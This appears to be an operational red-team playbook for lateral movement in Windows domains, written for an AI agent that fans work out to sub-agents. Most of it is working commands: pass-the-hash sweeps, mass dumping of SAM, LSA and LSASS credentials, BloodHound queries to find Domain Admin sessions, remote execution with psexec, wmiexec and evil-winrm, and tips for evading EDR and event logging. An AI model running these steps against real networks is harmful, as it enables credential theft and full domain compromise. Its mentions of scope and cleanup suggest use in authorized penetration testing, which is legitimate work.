Workflow: Lateral Movement
Given at least one valid credential (cleartext / NT hash / TGT) plus local admin on one host, expand horizontally to collect more hashes, find DA sessions, and reach objectives.
Full technique reference: references/lateral_movement.md.
Preconditions
- Credential material + at least one host where it is local admin (
nxc ... (Pwn3d!)) - BloodHound data showing owned principal's AdminTo edges
Inputs
HOST,USER,PASSorHASH(NT) orTGT(.ccache)- Target list:
wins.txt(Windows hosts from recon)
Step sequence
1. Sweep for where the cred is local admin
nxc smb wins.txt -u "$USER" -H ":$HASH" --local-auth \
| tee sweep.log
grep '(Pwn3d!)' sweep.log | awk '{print $2}' > pwned_hosts.txt2. For each owned host, pull secrets (parallelizable — one sub-agent per host)
while read -r h; do
( nxc smb "$h" -u "$USER" -H ":$HASH" --local-auth \
--sam --lsa -M lsassy > "loot/${h}.txt" ) &
done < pwned_hosts.txt
waitAggregate unique hashes:
grep -h 'NTLM:' loot/*.txt | awk -F: '{print $1":"$4}' | sort -u > all_hashes.txt3. Find DA sessions on owned hosts (reasoning hint: cross-ref BH)
// In BloodHound
MATCH (c:Computer {owned:true})-[:HasSession]->(u:User)-[:MemberOf*1..]->
(:Group {name:"DOMAIN ADMINS@CORP.LOCAL"})
RETURN c.name, u.nameIf a DA session is present on any owned host, pivot to that host and dump LSASS. This is the simplest path to DA.
4. Choose execution method per pivot
| Goal | Method | Command |
|---|---|---|
| Quiet recon | WMI | wmiexec.py user@h |
| Interactive SYSTEM shell | PsExec (noisy) | psexec.py user@h |
| WinRM-managed host | Evil-WinRM | evil-winrm -i h -u user -H HASH |
| DCOM / no service event | dcomexec | dcomexec.py -object MMC20 user@h |
| Single command | atexec | atexec.py user@h "whoami" |
5. Sub-agent fan-out for multi-path exploration
If BloodHound surfaces N distinct attack paths of similar length, delegate one sub-agent per path. Each path has its own working directory and credential cache; they share the BH graph read-only.
Example path assignment:
- Sub-agent A: Kerberoast svc_sql -> RDP to SQL01 -> DPAPI -> DA cred
- Sub-agent B: ACL GenericAll -> AddMember to "Backup Operators" -> NTDS.dit read
- Sub-agent C: RBCD via MAQ -> S4U impersonate DA -> PSExec on DC
Collate findings back to a single engagement-notes.md.
6. Ticket / pivot hygiene
# Windows
klist purge
klist purge -li 0x3e7 # SYSTEM's cache
# Linux
kdestroy -AKeep an inventory of every host touched (hostname, cred used, method, timestamp) in engagement-notes.md for the cleanup phase.
Parallelism summary
| Step | Parallel? |
|---|---|
| PtH sweep across hosts | Yes |
| Per-host secret dump | Yes (one sub-agent per host) |
| Same-host LSASS dumps | NO — repeated dumps trigger EDR |
| Multi-path BH attack exploration | Yes (one sub-agent per path) |
Safety hints
- PsExec leaves Windows Event 7045 + SMB
PSEXESVCartefacts. For stealth engagements, default to WMI or DCOM. - Avoid stacking two mimikatz invocations on the same host — the second is near-guaranteed EDR trigger.
- Do not leave uploaded PE files on hosts. Either use memory-resident approaches (
Invoke-*PowerShell) or clean up withdel /F. - Every new cred obtained should be verified against scope — e.g. a captured cert for
CORP-PARTNER\adminmay be out of scope.
Next workflows
- DA creds in hand:
workflows/domain_dominance.md - Need more privs on a specific host:
workflows/privilege_escalation.md